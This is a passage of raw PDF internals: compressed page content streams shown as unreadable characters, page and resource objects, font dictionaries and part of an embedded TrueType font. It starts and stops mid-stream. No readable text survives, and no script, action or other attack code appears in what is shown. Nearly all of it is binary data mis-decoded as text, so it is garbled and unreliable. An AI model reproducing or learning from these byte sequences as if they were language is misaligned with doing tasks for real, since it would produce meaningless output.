›­µÝYŽr‹ÚG’V#2Fäíí͈=»Ê³¶p¶7ð¤$ûàö…Mâl}-ÍÛ͵z¶sF?fgh#¬:¤-ŒOóõ.Ä -¬ëö¬ïm#vö–Ô›†gäÿ–磞é{aL’ÎÐï†úê……ØÂîÏ’l¶‰ ½Iúݽ3ŸÝèÊ^t9Ô×ë4ûÂ6K';1@óÒ­sqgÙ¼×Ïúäë.õŽb’É^,=’çOµé¶¬=¿ù…I]‚ £Ú:€ ì6‚²bÎË…NMmZ[ ¶Š›>Èœ~ß•-¡m‹C[%©¢/>C‡Ð@IJ®C€É¥Ñ~4ÏžÚ7Ù¦óÔ0¥|J•{“ÁN;¼#¢N:˰ëý­9ÇØw*ð\óPB¯€Í&†à ð-0™r¥¦´ýúfvcAK5zO¡•†¾Ú¾tK! ×0f±ßOµØ j!S2áO¶îwÙ·^žìE6·NxžsP|x¬ˆ;^BÓ,ÿa°þþõNÙ‹`Bû:HŸÓc€—À¸» k˳_À8ð˜þ[Ûj;ÙØñ=ÅcÿÈy-9¡$âõg¦…4S6,ЪgÇæ¨G<8Ö?œTU?©Úl Ys}ˆègs‡ÄLnFÑfÎèÃ^±5FcÖ€‚½ºÄÕ¡s‹Bç£0¤FÁÅieÚ2:›Z| xA´5ÉîGÁ­S4î4³JÐß`cá}xi\Ï[Ò ‰80ñâkH 9v)ôºHµY ãn·GŒ’.•ô"ÏìV{nj§Ða sØ•WpT£tÀc’ÂôÊ•^™Ñ6q6ì/ƒ)²;PP c \ûhŠ#gf2†‚To \ŽÔn];:Yž(e!.Ž©”#ŠP_Œ¼ˆ ?ô‚à`b´=£ÇþÒ Ibî–˳åjDGküv/þÁiš ý³¶ý›`û·cTHÅÚ"Zqƺ`¾|äÂÛíäí߾ķ†ÀíqŸ0!'vxƒwB¦ÛŸH–‰2RÚ¾oòè´óˆºÌn4‡dðw³å]Õz2 CÛF Äü(ŸÖLŸ0±9˜ž¢Qnõx ÏaI°·MÈE\âfûhÔE UXK<Ó›8RáÖƒwKqÅÕÃ¥-€ :3¬²tŨX®á€Ø7°÷ §‡î–½$âˆH©}T ì´ÉÑVòÇÔ†Tÿ©½+ö §—ª7¢¿áþÿ i& G endstream endobj 43 0 obj << /Type /Page /Parent 86 0 R /Resources 44 0 R /Contents 45 0 R /MediaBox [ 0 0 612 792 ] /CropBox [ 0 0 612 792 ] /Rotate 0 >> endobj 44 0 obj << /ProcSet [ /PDF /Text ] /Font << /TT2 93 0 R /TT6 58 0 R /TT8 59 0 R >> /ExtGState << /GS1 99 0 R >> /ColorSpace << /Cs6 94 0 R >> >> endobj 45 0 obj << /Length 2876 /Filter /FlateDecode >> stream H‰¼WÝŽÛÆ¾×Sœ«€,,zf8CuQ`³¶‹4hmØ jÃö—JìJ¤Bq½Ý¼FоCß²çÌ ¼ÒÚÞ$¨l¨áðü~çœï|¿^<]¯pXW‹,’"†ÿ¹'Í"©b‘’°Þ/ž^(ŽöƒcÑ,žþå ‡ÍqÁ"Æ„€u±`°¾]rN÷ßo]{eà“ˆØ .à×0²àE¸”QÜüòËÝ¿éQpqÀ‹yêHÛE2€¾…×f.“H­=êMøqý×O#¡FŠIY,½œÇN/\!ôM¢ÏÁ'&¼<˜.T¨:ïëfrNªIC¼ %Zv‡·Ž=ÝÝão>¼|%AÆx4|ç%Üÿœ–?Š+[‘ ÖÜ%^g©T°äLLáÊÆpÑ#™}ÙîºP£¸eŠ6Ûþ !™ Âe†±aá’Œ`þç÷Ò”¬çø·-[aM—Á»â—‡Ktm±½®ø^VõìÊEG§ÖV„Lâ ³äq”é,T`²•­æz„†|„`öïþIÁÜI®qVºëOàÊ 8Ê1Äœ-ø ”VøGHw§r–1¾ÄòŠ¥p'ûXˆR–úHªD@¢P›7…“aPƨ¹âXdP¬½íy:†ÕW"bAèLÛBžm5&ZDhV#£ø¶Î§SÒíŽÖòˆIlèIº\ü#\jL5Båýú­£)Ú¦„ÎäÅ6¿ªwu½9ö;Ë0ËŠejª%&&PzÁëKBc¼‚7ïþ‡¼¸6=ÔG”Ýô!2•j¸T}TÙçÝÆôN:–C¢f•ÊâIºòr_ï°îöXx¬QÈa›ù²ÏwoNÔdvuQ,vƒT&.R\NÕò½¨3ÇCÛ T]»o*%* °¦tjnÊÔ°¾|EïQ5zþôâòG«R PéZN1JâCp»5 Ê'i*0^*Ê‚CÛÙÈ…tÐLcÊ!´ä”;TC—^¿Y®9E3 Œ½Õ{æÛæ„B$ƒë‘ÖwÒXGI®3M l¦5¤ØÑ)úH–¬œ^„›Z¾EÝÔÎŽ’„iü‹Øuˆ÷ç+_l§èJËØ— ϰ­$øUÄÝ âP©þLo܉/‹×”ŠÕ ÞÀû¾8x9Ç›=´×¯¼œÞ«ÜÛºñ).0DÏ^àÅAïûºòêTêNRùv˜H9 ÄÀ|kçQCWÁ¦"4 +¾« 8jqT¿™¿Ã l‘®9º“ò±ê>ë°ªSWÞ¨ðŸklc£ãþ÷Ð…ÙcÕ©áC Ó\23'yްݼ;¥ù Ä`c”P² îd‚K `Pé ^Ÿ[±¯›˜ÿHáŒHðPØÚBkwÂõ–ò|,MPÈOUÆ(îŽþ]PÀaKùÂŒ¨˜AAN3o„‚ø­PÀÆk%qUɹwgÕ©´twÌoŸíÚ§¦ª¾yÄJ¡–ó#Ö Ž3SwœUÅ8À¨ãþPAÓBÞoMµŸ¡ÀVг–8š Sò% ?ŠýLIƒqš:6LãÇO¡t6/zÔž8í·õÎ6î„Ía’È©•q:sY¨“ˆ¬éÏlËi{¹Ÿe]U¦Ã¹ã¸jí(SÄx‡±¤#Iüû$J'v:Cì$âAIÄI1W7uiÈÞÖž©øæûá±.MîB›Xb Ta?–¼lvwÃ%Ĺ@DÒpÈçý xè0 YÓö€ÛFyS¸÷x“v@AFt$ˆž$Ì!ê`òOòÄÇ2¢‰IØßŽNüôì”yŸoº|o ¢ìù›s.åž,à#p‡ù€ì¬éC„ÌÃŒU¶ìpycC‚Áð¥4£R üà(Þ%yž{¯ZÌ9î ýÄE¬ÊYÒÙáÿÔx¢¹¬6]‡ôfoŽÇ|c"˜ŒÛsø>/0V½ÝÐ Y˜á’f‘S7#˵Åúrz;¿*2$‡±z(P3Rì¡ek….oÐÛ¶»¶á»¿ Ý'B±ÀEKÓxDrÂ…úÎ7ýÂtí_d¿Ü³bÜR98pÙb"¸Ã]}m`Ÿ7é"Ð%Z¢Y"Or5 :¦àLôÉckÏÿ1Âí .Fmå¤üËÈÖ¶äÐGçv[[È;Å 6%ÌBÐQ[ñWqQ ÿ”×;„ÊÈ©3)J”q}âmHóàÒc©»Z¬¡OÂêªêÐö…é]ݸèòJfìÖ®‰]“Ê/"Ú- p•#GÆnèZç+TÚ·£>û“6,Š‘+Z…Q¹õpÄ’É|:í"°Í?¸!e–éi»zS7ùýOÑñnEˆpë8·rQ)“Ò¢Ç?JT¥ˆ•FªˆÓ <¦ìŸÃØü –k9â˜6 ™`1B2§Í`ÄÖ´¡.çHºÀFc—IA-æyH;OS3 ¶-TnˆÕ! ņtkØÔFKèCꫯ¥û1rF6Íý“ÖãIáw'"{pwqk‹=ôtˆÖ–ÔÅþ°räL>væççbcØAÞ÷íqƻؿwáÉóËõG°ÄtçùO"-/eDGÝ ’Rþ9ÇIò5ÒÓ„èif Ú|S‘Ô®œ ’Ê?xSa:½òw®CYªlΕVøGxNYåòßæ§_-¤ÂN-JHYêO ©H>'WN³¯…:Éþ¸¬Lé6W´îlö‰d «É°ö´ox¶o³;³cX‘2¿ðß»d´\ͬ)ÁqUŸß?î-sO5n"3d]ì]SªãÿwªÏì$†ÅîŽzô äéø7 u!q¥úÞ*²ä8,X“Ë8™ôÉgMv¢\|Öci4b iX­ë~" ë-¿É÷nŽúáxgŽOq™é‡×«s”÷^çüJËå±DɺýWúªLbvRYé«}ñÏ÷Ÿì°ÝÕ‘J<¬‡Ú¾×æçaUõuHíÕáç2Õ®ê¼Ácí¡ïú+«&g<Êä9ÒÆ] ùBþ|½ð²e¤Ñ€XEˆ”ª$v–Eµø~}rH”ž›tšKØq—(Ï#ì£Õ˜ÅQ:‘;Ö=8I¾eb1Q‡ä£ð‚–‚)[Ý Éٻɟ÷Ž¿áÆÙ™M¨qÙYj"z%Íí;„l`™a7 6!Ÿó/‹ó ­u©% ½½!%ðà™fÉXê9ÓŒ'•ç›HöЈÊtîÛ¾u»ã .ºkÜìá˪ö¯¿ƒwmÙú_ïò®-¶×d|KYÐ8\ÉàWä…árýà‹¡jW©¥{ÖDZ{Õzžç€W±­\.¯Ã gƒxŒhÄÊf–TPxeäP M@ÐÃÛ¬€Ý]´lÃE†–sêZ•ÊñªªóIïûêØ\jÝí»:L:AIùùÅŸ‹Q‰—kÕ}"..‘S9a2C½ÞÿR yåwP> endobj 47 0 obj << /ProcSet [ /PDF /Text ] /Font << /TT2 93 0 R /TT6 58 0 R >> /ExtGState << /GS1 99 0 R >> /ColorSpace << /Cs6 94 0 R >> >> endobj 48 0 obj << /Length 2220 /Filter /FlateDecode >> stream H‰ÌWïnÛÈÿ/=…Eïÿ]h 7iŠ+&htÀŽ?ÐäÒb#‘ IÅö¡oq÷}ËÎr—”d)9ÛÉ—w8Ü™ùÍoþ:?9›ÏP˜—'i"˜‚ÿý“d±(ë«ú&¦4áx*4Á£w±@÷ƒ^×{ýUÌ5*¼Bª˜¡hü6ì¶ö?ÞV™hØ_à2 Õ‰f4¡ ¯bŠY:ÅÌ=:ß_4ëû66¸ÝL£K7‹þ±sųÝ"ñŒ£+$,OýË!ª)ž€âߦh܃ë"úw삘Å3µM¾øPÕð¼)«•‹ÖI_1”O£åIjRš%TK9yMÍN~„Áο‡!½„`¾–¡… :xr7…Òû" 9É *¯SxψŸy¤á÷‡‚¾ZYèúlµ>¶v½¼‡ª©”—ìû2³³Ç;‚shÚ wÁŒ©„ÖæŸF;j…w&‚»UÕRï‹{÷>êû%P>uŽPÃÈ),½Ä†<œÿ]ä}öß Ÿ‘qxñšæ»g\ÆeášS>f\Ð1ß(ãHÄN§%âÖ£2îñçÔ©—hCì]¸ÇsºõpX2Æ‚Œ‡¿ö’üù nµ—p6áFh?v̤fè-ã³! Eÿk@ÄÞéü?SŒµ³íExúÙ…›‹¾á€QE¯ßÂöEk»^gݸ·ÝYÝ@o»>vMæ|ï©zÆ^ÞÚðöÍÁi)Mb†®¹ƒ}G UJ¥ •†më4ñ !û…š…ƒ¬²Îë|Àòú¸Á£¸¢ñ",c‰©Äi0Õ$tŠÅdë ô}ü0vÜåqàÆHäåoÜ”Ne”¿à~D¾K‚\àù¾ŸžûTj¤SæS—ùH8xô}FeÓ®Ð45¦!]6âJK€FgÈh4…{µ_Þ‘'…X]_. ¤OrEØWEUOÇ ûìÔD(Š%`þÍ4¬†à!CM Õ°ÛP¾MMXr¼&Ìäö7$3åTy–añ1ev±þ÷XD¢Ì¡vû¯ÁQ×YK¸¼fßñ?‘»àVFÔÕŽ—ã(*™üx—Lªú*ø€‹4Û\]þ·»­²ª¾rÈà1!€F@tÝ€ æ޽“ÒÃØÞ¢üålÙ»T#¬<¾ÈöÀ„cMkjw‹Ì¸Ê˼§¥¡#˜˜4ßL0· '|‚É»E=gÒã×a_&HŽæ¶ nÝ9zΧ›Ã ž q «ƒÆÌä˜7‡9öhFD•N´r´â'òèMòÍ_L´„y0_Ø@fõ´®­£@è(Gp#XaË/ « OM ÷ïÇD0Ã×øU1øNÑ/ã@øAcžƒÛªwSIŠ4Óô趃D§r"Õ7¶u6h´öLXUu?´]…P¸'ô„à‡=f§HLt~;;¶]tûרŠH²p`Ä„›)¬ÎÙ.oüõ´áâºGÜŽ‰{ÛùXL‘7ž m£íîjÆe"TJ¯LM ïVž-óÍ2ëÝ­¸À¥Ñp%øÓ´uœr|³€²r]·.|ørÕ›¥Mž’ú8KÛãÓrr„osçÍis_ùܨ=[¾w÷]oWðÊ_Òøvtï<ëíZ˜ä †™ ënÍÖÑ×msmY˜?¿p' {Ž:›²ôÀ¿[ÛoÚºƒªòsÕàéŒeמt/cÇÂñEÖç‹Sè3œ(R ·]N×N/FVNMbXÊX9ß²r9œ¨Û¬ )![.!œê3ÑÁmp+Hi"Õñè éû”Ä¥ w8Üò0ÿwóYÝÝÚ}u!Q× Ž”aas„“ÐÂÚIR2êºêºò:˪¯l† ¬s¢Mº¡ù·ùÉÿ´e³Ž endstream endobj 49 0 obj << /Type /Page /Parent 86 0 R /Resources 50 0 R /Contents 51 0 R /MediaBox [ 0 0 612 792 ] /CropBox [ 0 0 612 792 ] /Rotate 0 >> endobj 50 0 obj << /ProcSet [ /PDF /Text ] /Font << /TT2 93 0 R /TT6 58 0 R >> /ExtGState << /GS1 99 0 R >> /ColorSpace << /Cs6 94 0 R >> >> endobj 51 0 obj << /Length 933 /Filter /FlateDecode >> stream H‰´VÛnÛ8}×W tAn+š¤î~sÓÛ.ƨ´EÚE¦#mcÉewÝßhbÿr‡¤d»MŠîà ìÑpfΙáhÆOso’çä+/c¡L€ãŸ“RÎ$gQùÚ›œëJm 8è²ñ&/n´ÇçRB^zòÏ)Ðü//a" ÀOBgQù3Ï7–<1–VÂØ_‘w›®½V°“ŒOa_iÂ2ò‚ú!KÈöË—ý7#¦f4,Jš²ˆT”³@ßµ¦~Ì$i­ªWôcþ§'–fÀ ° äˆ+DàpaVR!OM1g²S4&p¹Qºèëæ† a  B@4Df{´Ò½±]ã³_ SLj jô"mÜ—CiÐ) 6vdR°t}4çI/˜\Ë•ÊeDCû¼Ýì;šb8?Á7Uÿ5$õ3¬ §¾!Á‡Ç'îÐÔ°øÙ.[ÂRÉ{jêWP_’®-«Ou¿Áåª>1™uFk¹bËÄ®e|°,ÍbH$^vXc ŒípE®t‚yW¯‹n7[å4ZO]LîmˆS—W­îAd?vš” &9‡7Û¦q¬$\.¦pvQ—NÓµº]õð¶n–­£ÿY:ñ‰ùîr.ìÓb.Ϭ&Ì“äåÖ+­Á4jq]ßÀý~ qúèýE—}¥:“µÖc¬é½h‘÷»9Ö½]©Z×mSÜžIìp ŽLþ;RÀÖ&:¤è4‡D­áCp½x>É*^÷N³¿¿aâà‘;pНsa¡ºÝàU*˜å'TNÓ,ï½ÚÙõP×sÄìF c±&Êþb¿VCÕž.ž`“Ú¥2°Ðƒ›#p}\8ždš¥vö²]Q–°ÀìnÞxb'ÿx7‰Éü;•ƒÍ#ÅnN¼¥~ŠÄp¬q3 +h·¨¿‹õæV= œvãY9ÞÌwxK®Ý ¼‚ÁÜ®‚ŒÅa’ºUp²ƒ¬9ìòô®í°pÓ’ßP¸|×*U½sZ…³4 KÀ×t±V?ÎÇ{WjeLšŠÝ”ºz¤Sÿ¡þ‚§,ˆˆw·¬ òªÖ€ÿË­2 Ó°¥~„0+³A"üؤìm_GQíMª¸ätUt£_;…cÜ=èz])&·Eùù|òÇtïj Ã¥,Æ%'YÄqÚüø³ánŸü´›ð•pÂóÜûW€b•~ endstream endobj 52 0 obj << /Type /Page /Parent 86 0 R /Resources 53 0 R /Contents 54 0 R /MediaBox [ 0 0 612 792 ] /CropBox [ 0 0 612 792 ] /Rotate 0 >> endobj 53 0 obj << /ProcSet [ /PDF /Text ] /Font << /TT2 93 0 R /TT4 98 0 R >> /ExtGState << /GS1 99 0 R >> /ColorSpace << /Cs6 94 0 R >> >> endobj 54 0 obj << /Length 939 /Filter /FlateDecode >> stream H‰lUÛŽÛ6}÷WÌSA—¤®ìÛfÛíK‚D@[}àÊ´¥¬-"µ[ç/Úô'ú—’²­ …{4"ÏÌ9sH¿n7wm+A@»Û(VÈ8~RTÊœq uÉYY@{ÜÜ=¸ :—ppݸ¹ûñƒ€½Ûdœq^ J·áоl>¡h&$« ÐßÛŸ7Y®X#„€¬.X¥Jí÷i¯Ã®âë¸÷×Ód ÁÛ“™0’DûaÜS!Xެ°DN>ÐKœã:çÓú#ÍYuYðS‚ Tbê²wA;¥ŸTkÄM ‰ø>.¢ár^%d‚ ‰£¸j¦®š…0ôþ`Oç‰6—ÕØÒ¾÷ðÐЂ¤™Â¶8Írl…/¯Ò˨ªB¿íÖˆØzA~£ADM3I&ÛõOÃßÀÛݰZr?…lìmT$‰›*zä7œ ¨”bª FŠWÑ-!’‰BÅ8<رÃqWä0»ÁÞ°‹¢ ²QMÂ^â„Ý䬔;»@^­øK¤!9bçæ0˜g¾×i”(–BÝ!а Ô™Ñ<A³N.냷&s´Þ¤®ž¡drÔG¢;? ¬E³DŸ€;£#Ž°ÃØL§ic6UDÄíÜw™óç\Õ‹òò6æ:qy4ÞÓ-zÜÂÑNt×ÍShZà°dpQX€QI–j“qó!d²FÓ)¢ÇåÕËà‘Mç§"(Ë”È5¬’u‘È­<·îEoZÎã¤ô!<àqw~:nØÚÏ!YlO¢—ál]6khqã¹\Gí»>MiÄ$¨@Q’0 ýdd²a‚çb­_v0FyÂõv«ÏYÛÔ½Ç{ …èQÒËt£2_Í3È[áÙâd=Ø« ¤Rk:ùµêÂæà­WC”MÇ í ìæä¸¬Èâ»Á¥Aß¼êE®¢¸U]['>8¯GL;´rñ¿±ÓfOö`÷gÄv³q¯ÌÁ›)´·5ÏC—îL‰¸ÅêÊL%Rµ""¸Óüqü°ÓÃažX°&m?á y]/„ß¶ÆãNþíàÌ_(:ž„à 8ßÛ­‹[3©˜üïH×4㿚Zûðîî§wévB+êî Ÿ cI¿öÛÔ ‰eøZÆ”ú¡Ýü+À…±Ê endstream endobj 55 0 obj << /Type /Page /Parent 86 0 R /Resources 56 0 R /Contents 57 0 R /MediaBox [ 0 0 612 792 ] /CropBox [ 0 0 612 792 ] /Rotate 0 >> endobj 56 0 obj << /ProcSet [ /PDF /Text ] /Font << /TT2 93 0 R /TT4 98 0 R /TT6 58 0 R /TT8 59 0 R /TT9 60 0 R /TT11 61 0 R >> /ExtGState << /GS1 99 0 R >> /ColorSpace << /Cs6 94 0 R >> >> endobj 57 0 obj << /Length 2571 /Filter /FlateDecode >> stream H‰¬Wÿrã¶þ_O¿2`Ç¢›¦­ãÖÓºöœÕä2w -Ás²¨’”Ýc47}‡¾ew±¤DýpíNr7cÓäXì~ß·»_£ñX1ÉÆw§*cþÓ“±d™±NÙøa0:« ›ÔÁ@°z²Œþ|#Ù}=±J±ñd ØøiÀ•`ÑøÇAË,aÃ,ÓŽÿ8¢¥ÈÐ2­?ã£åìt †ù$²±æ³HÄ)gMÉÞú‡hhbÅËðªñÑ?Æß d[<KTw®” ËN'‘T¸¦ˆàÎüÑG†³«¥¯" GçM±¸¤Ä£ñ„„ßD)x¶«ºAÛø[vÏa‘áE”À«n]»Ó’~Ñ) X”ð°·Æ+w‡`.²T³¡Œ¥j.· >¢Ûgår]E¶f°Áý¬aÿaº ¢¡ƒØˆhˆNˆöÏúŠÞKøYNKÜ"¸žòï#Œ_ ¯ÊÉìc±`_°«»¢grZáÛà+@&%ÈH NKÑ=Øçbg6ä¹ èÀ§”îÅ‚½ ‰ôf`ž7~ʾ‹4†¤Œ0 ¼Âû)þVœå‹)¬éòøÝð;ßZ´/&~ã`‹iˆª²Î’ƒí39h“X+t0x%·An±A÷Åœ dï2›ð3<2ã—DͯÙßëüÞ3°¼™ä‹$TcZ¸‹ûϬòµÏ«ÉŒ Šš—?úICN—%Ýd{Iäɬi–o¢!f4zzzŠá¶¨×õ°ö“UUàÇŒ7똬Ô½ò!ó§ñ€.lBF¤²qʆԕÜ ¾ ’f2Û¤ ézÆÁ³I–Ⱦûô¥½‘L÷Xžô&ÀHp_@Û`ã Û?_@ —õ¬ 4,àm°âdâzÐs[ª µMgÀ_˜ŽG_ÕE¹`IŒNÐ'°[õÆÇâ„}³øÂCD(¯BÒïý,¥‹UêÔA2å±\ê~.í^.m—K¹„LŽfÍÃ|„ohIQ=jMÑâaÙšÏ0–Žƒõnò#ÃT ñV˜}ó?“Ÿ(ಂU*Îv³?܆—3ê¹Äö¯ÝÃÈ$¨}‚Öœ¯QØ÷y+?AO0аðøç8ûw€¿l<»8»¼×T@‡,Mû©ìº-2 #”ðÛæ¤5hÎU„€»i“z@ñÕ²*Pt 1ûÉlQüsåëÏ'ìtu¿ªIx v+à\V½ü+tçÏŠš-ÃÁÁš氩¯'UqëkÖÌ<»CÅ@vð·ªvツš.ï6BgŽoå@¥,ÓªïF†¥EWÚzKEË¿B0@Ùß+մׇ çÙ ,Þ……£õaĤϳÇÓ1! ª¦ (¨Å#²Ò‡W£eÑ«Gï~/%þˆ!jë`÷¸œÞí0B[¨·)S û =L Ž ˬ}™*Ö™y %^¬>ÇÉ¡‰iÊËkv›#”Û"ƒ4!Bu(;‚hé’>Aú¨.]ݰñÙ5•úQ„,»¸fu“O>"%RïCYéȼ ¼4}vl¨Ž;ÈýAN´$[šWxÜe~U …៊…?aß–sªl«àÙif %u‡'좮Wžépï¬{y^ÐÒ¹gð™›À¢`¤:£ky¸Üí¼¨gÈ é k·—‘ ¨£][ l[ ,÷ñ?þͯYÉ·˜Ç „—£å ÃE¯F¿¥Îèï!Í”‹ŸD¶ ú§  dPÛ_y•á5°_ÄèË…À)•î ûõÂøûRDö¥–úRôÙÄFI¬}”ÐûÁ¶B–lu‡8C¦xȱ[HicèýµÐ(bá¶µ¥ˆ:<ÃßBŒÕå*€ Ô ¦p´÷±ÈÙa$©´üzЄ¹ „95„]ÓTRasšpâÌçpNWØèˆ Bx#PŤ—÷µ>[}„N¯ÁÁ¤Ã@©ž•Oñr¶üýòK~Aοt;@6Žb ù5Í¢ƒ“Â"êùŸémltâúøxBqNB‚éx¾€0ë×9ÇëÚ7'ìjŽA2dzrU5ùzÿõ×ÞÓš12ÿ·VMžØ¸ìt& 𮸷Ücw ÄoÛMNÈ ‡ÆœT ô߇¿YÃÐøÐ¢£ÑÏÐ ¼õõ²\Ôž5Åî0Éç“€f(áB™^_›n÷4— N$ˆM*ØÃDYO©#ë‡è¤õõÞÏAÂ`><ç´1mK,6à¢,m{„>2¡w1Ö6y/Tyð«ÊåÔÇ“3 åjT uó*:é+™Ðn~„ÅíaØ+Gį&Âþ ³TþWM1™Ó†¾Ž©Až!fÀnwJS‰2Þ£¨¼Ü§º{XmÍóW0“ha¢M9H6Àm)µbþ_5ûº|ðKœ%‰{³a/´¯'~ »¶3AImju¿{acR3Ô+(.mR°±ôð#‘…Nñ`$’{ð0}ÿ]ë¿"àÄ4–{H\pZÂi^N sàRâ íû#-–Ù/eÒ˜¥ÏôoË#܆$[.‰L:ò¡}&¿a¸räÁ¦÷ OåÔÆ‚uÜ´hjöŠv#r´Ä}‡¥Ê`kÈÙS¹šOÙ¼Uë#ÈN G¾øHcG9Ÿ—O(CK_.çø‚X‰UtwÆÚÃò{^µ3)ÞÅí*èaCå½ Ö º¹ ЖÒ>eþ$µa åKCMj@ƒmïž½©Fôè´+WÇâ•:‡n/b°Q²•פ•Wö¨",ÕoÚÎ6%Ú cW']{p¬H[ƒ¦¿]L~G6@Ó8ÕEu_gqB‘}ùWÛ´†²È/ýŠÚ_ÖÓu•Ï ÿÅd—€0¦jáúI3=ùxÀåÈ+Ht~‡Œ8ÞÖ¶¦#›t6ôª;³Iô"Ù”5È2ã,Ýo·õjÒ^ȆÒęɨ×1Ð,tþ¡ë×à‹ù:gõ0\¢'ð €µ›Î§}¢?§Þ-­\hɳbébµ“Òqzu¬©À->¡!½ £í›®!ÜײַA]¦!ö½þ±Cµ¾ÉWØIea´Ô‡>ZÃ> endobj 59 0 obj << /Type /Font /Subtype /TrueType /FirstChar 32 /LastChar 50 /Widths [ 250 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 500 500 ] /Encoding /WinAnsiEncoding /BaseFont /ECGOPC+TimesNewRoman /FontDescriptor 67 0 R >> endobj 60 0 obj << /Type /Font /Subtype /Type0 /BaseFont /ECGPHF+Wingdings-Regular /Encoding /Identity-H /DescendantFonts [ 79 0 R ] >> endobj 61 0 obj << /Type /Font /Subtype /TrueType /FirstChar 32 /LastChar 119 /Widths [ 278 0 0 0 0 0 0 0 0 0 0 0 0 0 0 278 0 556 0 0 0 0 0 0 0 0 278 0 0 0 0 0 0 0 0 0 0 0 611 0 0 0 0 0 0 0 722 0 0 0 722 0 611 0 0 0 0 667 0 0 0 0 0 0 0 556 556 500 0 556 278 556 556 222 0 0 222 0 556 556 0 0 333 500 278 556 500 722 ] /Encoding /WinAnsiEncoding /BaseFont /ECGPOF+Arial /FontDescriptor 71 0 R >> endobj 62 0 obj << /Type /Font /Subtype /TrueType /FirstChar 105 /LastChar 105 /Widths [ 229 ] /Encoding /WinAnsiEncoding /BaseFont /ECHBPK+Garamond,Italic /FontDescriptor 73 0 R >> endobj 63 0 obj << /Type /Font /Subtype /Type0 /BaseFont /ECHDBN+SymbolMT /Encoding /Identity-H /DescendantFonts [ 80 0 R ] /ToUnicode 81 0 R >> endobj 64 0 obj << /Type /Font /Subtype /TrueType /FirstChar 105 /LastChar 105 /Widths [ 278 ] /Encoding /WinAnsiEncoding /BaseFont /ECHDHA+TimesNewRoman,Italic /FontDescriptor 77 0 R >> endobj 65 0 obj << /Type /FontDescriptor /Ascent 832 /CapHeight 578 /Descent -300 /Flags 34 /FontBBox [ -21 -680 638 1021 ] /FontName /ECGOKK+CourierNewPSMT /ItalicAngle 0 /StemV 42 /XHeight 421 /FontFile2 66 0 R >> endobj 66 0 obj << /Filter /FlateDecode /Length 33861 /Length1 55044 >> stream H‰¼VyTG¯î9À… ‡ˆŠ­¨ f8GˆË8ƒ2†sf@Mb¤èd.»{@b²aF]\ÀˆkÔ FÔ\]5âQqñÜxl"Ϭè®<1ÉVÃ" Ï—ýc×®×o¦¿ïW_ýª¾«ŠdiôÚ)â;ë[‘ä>›SõaŠ˜ €o%’eͤ-ðaŒ-[Àæ 8¢¶–|ˆôïâ̵å™w¼¥ À€èRž©(·¤iÒU” þ”O‘9‡;ƒçp¡ Ù‹ÊG·¹x£Ñ÷è|37§lŸþšèLV#‰W$Ïà€'ÞŸ›É9¶»óóÑú€°fjÔûdÿ|âó®ÍÊrhè9y½¡lûjÊFzÙÛdX×àOúõ]Ïbèô)W’Xòd æ‚×8}æ ‡c˜|t»vkp‘À,±d¼bÎhÖè`”õ‘ [P< ÄuT X`&@½ù‰þö„žû! ¬ÓžÖ"Ú8jX]ãô<xç‰áˆ)—B± Cèâ媵pc¡8ù`èË$^ƒ2)†ÖÓy¡µCåáPÎ+ܼÆõ(µÕl¦#Mš½5—+$ŠH³g›h6ŸbXB­‚ƒ*£`T®çÁчF+Â#•‘Êw^Guß}c" p,бw8@c Mé°JÖ £Ù~; G4¥ ScýþRËÅãÅ%K/¹?ôý¼éúàú²¶üø‘ìq÷Döx“wò¹ªå.ûiÖÑ"8ûì„ûÝO–ضkJú=ëéœHüÂ'y¢ÂË.§_ì\9dßÄ‹…Ž£ê«íW¯·aÞ⓪oß•˜¸q.@Aõ‚[ˆ×î}_Û?X´¾ä/9s7)ìŒô˱øà,˜t#1bÈÝÔt¿â_ô!sÏË—¡V©TaíÛŒÝfWù,÷ñÑbUó² ͧb"4ÍöŽ¶Ù‡CbGNÝvd¢âæÈÑÁŠŽÅ¼wéIELÎòû†Óßµ´4ÏúI¸ú0xGcjí©Ù9ò¸8è´¢7¹F€c8.Ͼ¨­–yÜ#¨ :×`Þ—²E’c­|Þí4ßç¾10v–#R(®ÐÊ|ØãU·—¼*ƒãº½3i3Eè9Òl£-y„žb h#Eè¬VNÝèñ)©D’V5I›¤5Ì TjuBš!A##‚ŒÁÊh¢ÿ]q¨”ËåQýã0ª'õ¯ŽºÿìÌí•;› 5Ý€· C ˆE P£Õ†êˆ•¥9+S¦KSñö¬Œ-”È."tTn¨ŒçšdÐðœc䡨 ;¯1¿qj¡Ÿ&GI>êÅÐvbÉ%¸ÃÀ¹ªÛyåßš¥;¿ìØtæø8ÅѶö&ÙÆ¿Šªý?­¹µ?,uÖß›‡60~gê¼T÷†„5ÆŸ,¿) )û,9{eíöaâ°pѹøÚ«ÃýÏý¸A`>_Ò™za–§öÚ7­ßÊ=!Prì×êò`i¬#º|ró®ÕÓ³t§žìô¨?S ±- $÷”ž:t¥þ´m‡øFvý?¥’ۉ̉ÒúèGõ2QðŠÕ–$ú)DcEÛ·Ê"楥L ˲k×â> ÚÆO™½êÞÿÚÀ„ôSµ?Ý\ûìáÉŽËŠŠêÂÁö= Êuk´Ê¶[»|–* ¿¹hieÖªëñL餎1÷nI«~q”U-\íÓ•]¥Ð1z¡“>Fè%bWTqE"+Lå…„0òtË*IÄJ:0 ƒ‘0¼‡c¾oæsœöþí*eý„®PŒa¿â€n¼ÀC(àâƒ/$ Ÿç·­yTùGõ†‘þþQÉ£¹Ó…E ýžÖ¿mú]“ËÈ÷/6Fž¬Xø8]}?¤N¶nö±c»ò1wNH;GûüýñrRã”N»Ó=ÄÞ¿»iEjV®±$1çZÐPfÛ¬éˤ­ñÅtÆ7C‚"¶ømW¤{7.áñø%†É‹šŽoþ¢¶Ö¯‰M+â SR^×î<÷´·/ëØÜÙf–êVz¯x›zïÅ4= ågÏU#äφ›ù'ñ?Kè‰0®ÛN¤†Î£9´ VC¨M$ËáD‘L+‹(ôòÈ$MtÉÑV Q »Áü|±ž¡—{A)ÿáê%™F²ù¨pV‹Üê> •c¶ZräpXWñöé5¯F­L—Ù½Û+ôбæ¥v¹øR¾]ž×Þùu¿xÕØ˜ì­[2ÊWì=¤[ï¿îç-šÉ7Þ¸¾š<[¿//Þ=.­°aç {6y°šŒÝîØ¹fTkÇôÊê<½+7è´â[21ìÁÅn1Èýð¦¶Ý[ãú[Oó¯Ý—Óåî3'yœ 